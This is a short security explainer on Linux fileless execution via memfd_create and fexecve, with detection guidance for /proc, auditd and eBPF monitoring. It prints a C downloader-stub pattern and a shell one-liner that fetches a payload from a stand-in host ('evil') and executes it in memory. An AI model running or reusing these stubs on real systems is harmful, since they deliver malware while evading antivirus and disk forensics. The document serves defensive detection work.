memfd Fileless Execution

memfd_create() is a normal Linux syscall that creates an anonymous file backed entirely by RAM (via tmpfs) and hands the caller a regular file descriptor for it — no path on any mounted filesystem ever exists. A downloader stub can create such a descriptor, write a fetched ELF payload into it, and then call fexecve() on that descriptor to run it directly, exactly as if it were a file on disk — except no file-based antivirus scan, on-write hook, or disk-forensics pass ever sees the payload, because it was never written to a filesystem in the first place.

How it works

The pattern is short and almost always looks the same across samples:

int fd = memfd_create("", MFD_CLOEXEC);
// download or decrypt the payload into a buffer, then:
write(fd, payload_buf, payload_len);

char *argv[] = { "worker", NULL };
fexecve(fd, argv, environ);   // runs the in-memory ELF; no path was ever used

The equivalent one-liner is common in shell-based droppers too, which is why it shows up constantly in Linux cryptomining and botnet incident reports:

curl -s hxxp://evil/payload | exec 3<><(cat) ; cat >&3 ; \
  chmod +x /proc/self/fd/3 ; exec /proc/self/fd/3

Both forms leave the exact same forensic shape: a running process whose executable path, when queried, resolves to /memfd: or /proc/self/fd/<n> (deleted) rather than a real file anywhere on disk.

Detection & analysis

Static analysis: A binary or script that calls memfd_create followed by write and fexecve (or the shell equivalent piping a download directly into an executed file descriptor) is functionally a fileless-execution stub with almost no legitimate reason to exist outside a handful of sandboxing tools (e.g. some container runtimes use memfd_create for unrelated purposes — context matters, but the combination with fexecve on attacker-controlled data is the tell).

Dynamic analysis: ls -l /proc/<pid>/exe on a process spawned this way resolves to /memfd:<name> (deleted) instead of a real path — this is the single clearest indicator and trivial to check on a live or forensically imaged host once the PID is known. /proc/<pid>/maps shows the same /memfd: backing for the executable mapping. Because no file ever hits disk, standard on-write AV hooks and offline disk forensics find nothing; runtime or eBPF-based execve-family monitoring is required to catch it at all.

Detection rule hint: Flag any process whose exe symlink target contains memfd: or (deleted) combined with an executable mapping — legitimate software essentially never runs this way. Monitor memfd_create + fexecve/execveat syscall pairs via auditd or eBPF-based tooling, and treat a network download immediately followed by in-memory execution (rather than a write to a normal path) as high-confidence fileless-execution activity.